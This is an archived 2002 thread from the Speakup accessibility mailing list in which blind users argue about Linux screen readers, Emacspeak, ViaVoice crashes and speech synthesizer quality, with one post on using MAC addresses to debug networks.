> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Janina Sajka]

Octavian:

You can complain, or you can put up with it and learn.

If you spend your time around here complaining that your glass is
half empty, no one is going to talk with you for very long.

If you decide to focus on things that work, instead of things
that don't ... If you decide your glass is half full, as our
English proverb goes, you'll find lots of help.

You've got a lot of demands for someone who can't afford to buy
the things that make Linux speech sound better. Or can you? If
you're looking for free, take what you have. If you want to spend
money, we know some folks that will sell you things.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> The sound quality of DecTalk PC 1 is very bad.
> It uses an 8 bith sound encription and it has a bad noise.
> The voice is not very good also. Via voice is pretty good.
> I wish I could do something to stop it  crashing.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 6:20 AM
> Subject: Re: interesting experiment.
> 
> 
> Did you say you have a DEC Talk internal? Use it.
> 
> On Mon, 20 May 2002, Octavian Rasnita wrote:
> 
> > Ok, at least I know what is the problem now.
> > Are there any better software sinthesizers than Via voice  that can work
> > with emacspeak?
> > I don't care too much about responsiveness. I care about the sound
> quality.
> >
> > Thanks.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 7:58 AM
> > Subject: Re: interesting experiment.
> >
> >
> > I believe he is speaking of ViaVoice, and it does crash. Now, if
> > the source were available, someone of us would undoubtedly have
> > solved this issue. But it isn't.
> >
> > So, don't blame Linux. Blame IBM and the Windows mindset that
> > they brought to Linux in ViaVoice.
> >
> > On Sun, 19 May 2002, Cecil H. Whitley wrote:
> >
> > > Hi,
> > > Just a minor question, are you speaking of viavoice outloud for windows
> or
> > > linux??  Things crashing under windows is normal, expected behavior.  I
> > > would go so far as to inquire if possibly there is a "crashed_recently"
> > > variable within windows along with a random countdown timer......
> > > Regards,
> > > Cecil
> > > ----- Original Message -----
> > > From: "Octavian Rasnita" <orasnita@home.ro>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Saturday, May 18, 2002 8:45 PM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > > Do you mean that using Emacspeak is easier than using Windows?
> > > > Nice joke. Really.
> > > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> > likes
> > > > to crash so often, or other software sinthesizers hard to understand,
> > ...
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Ann Parsons" <akp@eznet.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Saturday, May 18, 2002 11:53 PM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > Hi all,
> > > >
> > > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > > output system that uses software speech.
> > > >
> > > > Ann P.
> > > >
> > > > --
> > > > Ann K. Parsons
> > > > email:  akp@eznet.net ICQ Number:  33006854
> > > > WEB SITE:  http://home.eznet.net/~akp
> > > > "All that is gold does not glitter.  Not all those who wander are
> lost."
> > > > JRRT
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Well, I want to be able to use Linux just like I use Windows, without being
> a specialist, without reading a lot of manuals, without learning weeks or
> months how to make some settings that I will need to use only once in 3
> years, etc.

Linux isn't Windows. The words are as different as Rumanian and
English are different. The concepts are also quite different.

As long as you insist on Linux being like Windows, you aren't
going to get anywhere. You need to throw out everything you think
you know about computers and start over. Or, forget Linux. We
won't be offended.

Re: interesting experiment.

[Janina Sajka]

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Ok, I don't want to learn Emacspeak at all.
> I would like to be able to use a real screen reader but unfortunately it is
> not possible without a hardware sinthesizer which is expensive.
> I have one, but it is not supported by a real screen reader.
> 
> I would like to have a screen reader that starts at startup, which can be
> used to read the screen in pine, pico, lynx, and the command line.
> Is this possible without a hardware sinthesizer?
> Am I asking too much from the best OS?
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 6:46 AM
> Subject: Re: interesting experiment.
> 
> 
> This is not an important problem. You have more important things
> to worry about than this.
> 
> Also, using emacs' terminal mode is probably not the smartest way
> to learn about emacs.
> 
> If you're trying to learn emacs, you shouldn't start with that.
> You're trying to run, and you haven't even learned how to crawl
> yet.
> 
> On Mon, 20 May 2002, Octavian Rasnita wrote:
> 
> > Of course, because that problem happend me for more times.
> >
> > I think I found a little problem but I am not sure.
> >
> > When it starts, emacspeak  tell me that message that it is functioning
> > normally (BTW. How can I change that message?)  and I don't care about
> that
> > message and I start pressing the normal shortcuts for launching the
> terminal
> > mode before it finishes the message. When I do that, the terminal doesn't
> > start.
> > If I let emacspeak to finish its message, I can start it.
> >
> > How can I stop the voice? What key should I press if I want to stop the
> > message?
> > I searched in the help file but I couldn't find it.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 3:42 AM
> > Subject: Re: interesting experiment.
> >
> >
> > Octavian: You need to explain yourself.
> >
> > What is the meaning of "of course" in your message?
> >
> > What's that about?
> >
> > Also, why are you rebooting? That's your hangover from Windows.
> >
> > Get a clue. That's not the way to get out of trouble.
> >
> > Your emacs is probably working just fine, and you can probably
> > get back to your buffer list with c-x c-b
> >
> > Now, instead of whining at the first sign of trouble, why not
> > study how to use the program a bit? Have you read the tutorials?
> > What can you succeed with? Or, did you just come here to say:
> >
> > "of course"
> >
> > to us.
> >
> > I won't accept that. Not from you, not from anyone.
> >
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > I press the keys for  launching the terminal mode under Emacspeak, I
> type
> > a
> > > simple ls command to test it, I won't hear anything of course, then the
> > > computer stopped speaking, and I need to reboot it.
> > > IS Emacspeak the problem? Is IBM Via Voice stopping?
> > > I don't know.
> > > Thank you for putting me to learn. <gee>
> > > Do you have a link to a text file with all the command lines used by
> > > emacspeak?
> > > I've tried that help, but I couldn't find how to set the speed of voice
> > > sinthesizer faster, nor how to read a text at once, not line by line.
> > > I also would like to know how can I skip the text when I read this way.
> > >
> > > In Windows, I can put the screen reader to read in "say all" mode and if
> I
> > > press the right shift, it skips a line and continue reading without
> > > stopping.
> > > If I press the left shift, it goes back with a line and continue reading
> > > without stopping.
> > >
> > > This is a good feature and I am sure it should be in Emacspeak also.
> > > However, I couldn't find it.
> > >
> > > I would also like to know if there is a kind of control panel for
> > emacspeak,
> > > where I can set all the variables, a configuration file, etc.
> > > Emacspeak starts with a text file which is not too big and I should read
> a
> > > lot of things before finding how to set the sinthesizer faster.
> > > And I don't  have the patience to listen how slowly it speaks.
> > >
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 6:17 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > No joke. Emacs is easier than Windows.
> > >
> > > Now, Octavian, stop belly aching and go learn how to do
> > > something.
> > >
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> > > > Do you mean that using Emacspeak is easier than using Windows?
> > > > Nice joke. Really.
> > > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> > likes
> > > > to crash so often, or other software sinthesizers hard to understand,
> > ...
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Ann Parsons" <akp@eznet.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Saturday, May 18, 2002 11:53 PM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > Hi all,
> > > >
> > > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > > output system that uses software speech.
> > > >
> > > > Ann P.
> > > >
> > > > --
> > > > Ann K. Parsons
> > > > email:  akp@eznet.net ICQ Number:  33006854
> > > > WEB SITE:  http://home.eznet.net/~akp
> > > > "All that is gold does not glitter.  Not all those who wander are
> lost."
> > > > JRRT
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Octavian Rasnita]

Ok, but in this case, I think you are a specialist in computers or something
like that.
Or are you a mathematician, psychologist, poet?
Or do you think this kind of people use to have more than one computer?
Or do you think they go and set their PC's if they have problems with them?

I doubt.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Gregory Nowak" <greg@romualt.dhs.org>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 7:19 AM
Subject: Re: interesting experiment.


At most 2? Well, I've got 5 here, and one of them is a vintage IBM machine.
I used to have a couple more, but I ended up refurbishing them (they were
4/586 machines) with the functioning parts I pulled out of dead machines,
and started giving them away to people I knew who would benefit from having
a pc, but who couldn't afford one.
Greg


On Mon, May 20, 2002 at 05:28:15AM +0300, Octavian Rasnita wrote:
> Most of Windows users don't have a network but only a single computer, or
at
> most 2.
> If there is a network, there is a system administrator.
> I am not a software engineer. I am licenced in Management, and I've worked
> only in Sales and marketing.
> But I want to be able to use an operating system that a lot of people say
> that is the best.
>
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Kerry Hoath" <kerry@gotss.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 12:59 PM
> Subject: Re: interesting experiment.
>
>
> The MAC address is required to diagnose certain network related problems
> such as bad switches, faulty dhcp implementations from certain vendors,
> network jabbers, broadcast storms, packet tracing and a host
> of other uses.
> Watching your network for arp trafic with tcpdump can tell you if your
> windows box has come up onto the network and if the NIC is working.
> Knowing which machine you are looking for on a multi-pc network means
> knowing the mac address
> especially if there is an ip address conflict.
> Compound your problems by having a corrupted dhcp lease database under NT
or
> 2 machines
> set to the same ip 1 dhcp 1 not, and you'd like to know which
> machine is where.
> MAC addresses are unique, and many organizations use the MAC address to
> track where
> their computers (or the network cards in said computers) are.
> Tracking a MAC address can tell you which segment on a switch a machine is
> on, and
> on complicated setups you can dump the MAC table to debug 802.1
> bridging problems.
> It is conceivable that on your home network you have personally
> never neded to know the MAC address of your windows box,
> and that is fare enough.
> I have debugged network problems in seconds with knowledge, a few MAC
> addresses
> and a packet sniffer that have baffled others for weeks.
> Maybe I am becoming disalusioned, but it seems so many people these days
> have
> no desire to know how things work, I mean really work.
> If you understand how things work,
> it is far easier to fix problems.
> My underlying knowledge of ethernet makes solving most networking problems
a
> snap.
>
> Regards, Kerry.
> On Sun, May 19, 2002 at 12:12:20AM -0500, Gregory Nowak wrote:
> > Ok, why would one need to know their nic's mac address under windows 9x?
> > I've never had to, and I used windblows extensively for a good while.
> > Greg
> >
> >
> > On Sun, May 19, 2002 at 12:49:52AM -0400, Janina Sajka wrote:
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
>
> --
> Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or
> kerry@gotss.spice.net.au
> ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

No, you're right.
I don't use speakup though I would like to.
I've read on speakup web page that there is working in progress for making
the Dec Talk PC 1 card  accessible for speakup and I've subscribed hoping
that I will find out if there is support or not. Or if there it will ever
be.


Teddy,
orasnita@home.ro

----- Original Message -----
From: "Gregory Nowak" <greg@romualt.dhs.org>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 7:25 AM
Subject: Re: interesting experiment.


We're all assuming he's using speakup since he's here. But from all of
Tedy's comments in other posts, I am beginning to get the impression that
he's not, since he seems to be asking for screen readers which support
software tts.
Greg


On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> Try man < emacs|less then use the speakup keys to read line by line, or
> word by word if you wish. you can bring up the next page by hitting the
> space bar.
>
>
> On Mon, 20 May 2002, Octavian Rasnita wrote:
>
> > Please enlighten me.
> > I never used the Jaws cursor in the new HTML help  format under Windows.
> > Select an item in the tree view, press enter, then press F6 and it will
> > automaticly start reading that help item. It is a simple HTML file
there,
> > and it works exactly as simple as Internet Explorer.
> > You don't need the Jaws cursor at all.
> >
> > You needed the Jaws cursor only for some bad designed help files in the
old
> > .hlp format.
> > Now in the new .chm format, you don't have any problems.
> >
> > But this doesn't matter too much. Please tell me how to navigate the man
> > pages.
> > I type man mv, for example.
> > It starts to print all the help file, but maybe I want to move with a
page
> > up then down, etc.
> >
> > I know this is possible. Thanks.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > To: <speakup@braille.uwo.ca>
> > Sent: Sunday, May 19, 2002 8:05 AM
> > Subject: Re: interesting experiment.
> >
> >
> > SNIP
> > > > You open a window, and it explains you what you should do there.
> > > > You have to press the space bar to check some checkboxes, to press
some
> > > > buttons, etc, and if you don't know something, press shift+f10 (or
the
> > right
> > > > mouse button and choose "what's this?" or press F1 to view the help
file
> > > > wich is much much more easier to navigate than the man pages under
> > Linux.
> > SNIP
> >
> > A fake.
> > man pages under GNU/Linux are a lot easier to navigate than windows help
> > pages.
> > you need to route the jaws cursor to the pc and then fart around trying
to
> > find what you were looking for.
> > even with the new features in jfw I seriously doubt you could navigate a
> > help file easier than a man page..
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

I tried to tell him about yasr twice yesterday. But, he will come
back and complain that the speech isn't quality stuff.

This guy wants champaigne, but he can't even afford beer.

On Mon, 20 May 2002, Ryan Mann wrote:

> Have you tried Yasr? It is at the URL http://mgorse.dhs.org:8000.  On Mon, 
> 20 May 2002, Octavian Rasnita wrote:
> 
> > Ok, I don't want to learn Emacspeak at all.
> > I would like to be able to use a real screen reader but unfortunately it is
> > not possible without a hardware sinthesizer which is expensive.
> > I have one, but it is not supported by a real screen reader.
> > 
> > I would like to have a screen reader that starts at startup, which can be
> > used to read the screen in pine, pico, lynx, and the command line.
> > Is this possible without a hardware sinthesizer?
> > Am I asking too much from the best OS?
> > 
> > Teddy,
> > orasnita@home.ro
> > 
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 6:46 AM
> > Subject: Re: interesting experiment.
> > 
> > 
> > This is not an important problem. You have more important things
> > to worry about than this.
> > 
> > Also, using emacs' terminal mode is probably not the smartest way
> > to learn about emacs.
> > 
> > If you're trying to learn emacs, you shouldn't start with that.
> > You're trying to run, and you haven't even learned how to crawl
> > yet.
> > 
> > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > 
> > > Of course, because that problem happend me for more times.
> > >
> > > I think I found a little problem but I am not sure.
> > >
> > > When it starts, emacspeak  tell me that message that it is functioning
> > > normally (BTW. How can I change that message?)  and I don't care about
> > that
> > > message and I start pressing the normal shortcuts for launching the
> > terminal
> > > mode before it finishes the message. When I do that, the terminal doesn't
> > > start.
> > > If I let emacspeak to finish its message, I can start it.
> > >
> > > How can I stop the voice? What key should I press if I want to stop the
> > > message?
> > > I searched in the help file but I couldn't find it.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Monday, May 20, 2002 3:42 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > Octavian: You need to explain yourself.
> > >
> > > What is the meaning of "of course" in your message?
> > >
> > > What's that about?
> > >
> > > Also, why are you rebooting? That's your hangover from Windows.
> > >
> > > Get a clue. That's not the way to get out of trouble.
> > >
> > > Your emacs is probably working just fine, and you can probably
> > > get back to your buffer list with c-x c-b
> > >
> > > Now, instead of whining at the first sign of trouble, why not
> > > study how to use the program a bit? Have you read the tutorials?
> > > What can you succeed with? Or, did you just come here to say:
> > >
> > > "of course"
> > >
> > > to us.
> > >
> > > I won't accept that. Not from you, not from anyone.
> > >
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> > > > I press the keys for  launching the terminal mode under Emacspeak, I
> > type
> > > a
> > > > simple ls command to test it, I won't hear anything of course, then the
> > > > computer stopped speaking, and I need to reboot it.
> > > > IS Emacspeak the problem? Is IBM Via Voice stopping?
> > > > I don't know.
> > > > Thank you for putting me to learn. <gee>
> > > > Do you have a link to a text file with all the command lines used by
> > > > emacspeak?
> > > > I've tried that help, but I couldn't find how to set the speed of voice
> > > > sinthesizer faster, nor how to read a text at once, not line by line.
> > > > I also would like to know how can I skip the text when I read this way.
> > > >
> > > > In Windows, I can put the screen reader to read in "say all" mode and if
> > I
> > > > press the right shift, it skips a line and continue reading without
> > > > stopping.
> > > > If I press the left shift, it goes back with a line and continue reading
> > > > without stopping.
> > > >
> > > > This is a good feature and I am sure it should be in Emacspeak also.
> > > > However, I couldn't find it.
> > > >
> > > > I would also like to know if there is a kind of control panel for
> > > emacspeak,
> > > > where I can set all the variables, a configuration file, etc.
> > > > Emacspeak starts with a text file which is not too big and I should read
> > a
> > > > lot of things before finding how to set the sinthesizer faster.
> > > > And I don't  have the patience to listen how slowly it speaks.
> > > >
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Janina Sajka" <janina@afb.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Sunday, May 19, 2002 6:17 AM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > No joke. Emacs is easier than Windows.
> > > >
> > > > Now, Octavian, stop belly aching and go learn how to do
> > > > something.
> > > >
> > > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > > >
> > > > > Do you mean that using Emacspeak is easier than using Windows?
> > > > > Nice joke. Really.
> > > > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> > > likes
> > > > > to crash so often, or other software sinthesizers hard to understand,
> > > ...
> > > > > Teddy,
> > > > > orasnita@home.ro
> > > > >
> > > > > ----- Original Message -----
> > > > > From: "Ann Parsons" <akp@eznet.net>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Saturday, May 18, 2002 11:53 PM
> > > > > Subject: Re: interesting experiment.
> > > > >
> > > > >
> > > > > Hi all,
> > > > >
> > > > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > > > output system that uses software speech.
> > > > >
> > > > > Ann P.
> > > > >
> > > > > --
> > > > > Ann K. Parsons
> > > > > email:  akp@eznet.net ICQ Number:  33006854
> > > > > WEB SITE:  http://home.eznet.net/~akp
> > > > > "All that is gold does not glitter.  Not all those who wander are
> > lost."
> > > > > JRRT
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > > --
> > > >
> > > > Janina Sajka, Director
> > > > Technology Research and Development
> > > > Governmental Relations Group
> > > > American Foundation for the Blind (AFB)
> > > >
> > > > Email: janina@afb.net Phone: (202) 408-8175
> > > >
> > > > Chair, Accessibility SIG
> > > > Open Electronic Book Forum (OEBF)
> > > > http://www.openebook.org
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > 
> > --
> > 
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> > 
> > Email: janina@afb.net Phone: (202) 408-8175
> > 
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Octavian Rasnita]

Yes I am connecting to the Linux machine but not with the default Telnet
included in Windows. I use SecureCRT and I use SSH2 protocol to work under
Linux.
The program is pretty accessible, but of course it is not very friendly to
use because  I have to read the screen with the mouse cursor (the Jaws
cursor).

I know a better solution would be to install NCSA Telnet for DOS.
That program works fine under DOS and I heard that  it is easier to use than
a windows program.

I've downloaded it, but I need to configure it and I need to find a good DOS
screen reader.
This won't be such a big problem, but the main idea is that I would like to
use only the Linux machine, not 2 computers in the same time.

I am willing to try more screen readers and sinthesizers, and as a matter of
fact, I would like to try the mbrola sinthesizer because I heard that it has
support for my native language, but I am afraid that I could broke
something, and then I won't be able to have the emacspeak back.

I've seen some help files telling me that I should "compile" something ...
Well, here I am lost. How to compile?
I heard that there is another  screen reader named Jupiter  that works with
the mbrola sinthesizer, but I am not sure here, and I heard that it is a
real screen reader, not like emacspeak.

I am hoping 2 things:
1. The GUI will be accessible for the blind and it won't be necessary a
hardware sinthesizer.
2. The software sinthesizer will work with a newly  created screen reader
for the GUI.

If this won't happend very  soon, I hope I could use Jupiter with mbrola and
I hope it sounds well.

I think I need to clear a little why I need so much a good  voice easy to
understand.
I am not a native english speaker and I don't speak english at all. I only
type in english and I listen the screen reader.
Well, there is no support for my native language and I listen to romanian
texts with the english sinthesizer. I think you imagine how well it sounds.
Now I am used to listen to romanians texts in english with a pretty high
speed, and IBM Via voice sounds almost like the eloquence sinthesizer and
that's why I like it.
If I need to read romanian texts in eenglish with the Dec Talk sinthesizer,
I can't understand almost anything.

In fact, it is hard to understand english texts also. The old Dec Talk
doesn't sound as well as the new ones.



Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 7:38 AM
Subject: Re: interesting experiment.


Greg:

I'm pretty sure he isn't using Speakup. He doesn't have a
supported synth. He telnets from his Windows machine, as I
recall, and he's tried using ViaVoice directly with emacspeak. Of
course, the latter is a very steep learning curve.

Still, he's got the DEC Talk internal, and emacs with or without
emacspeak is worth learning. Without emacspeak, he can run it
